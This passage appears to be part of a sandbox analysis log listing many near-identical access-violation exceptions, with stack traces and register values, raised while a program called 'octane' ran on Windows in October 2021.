0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
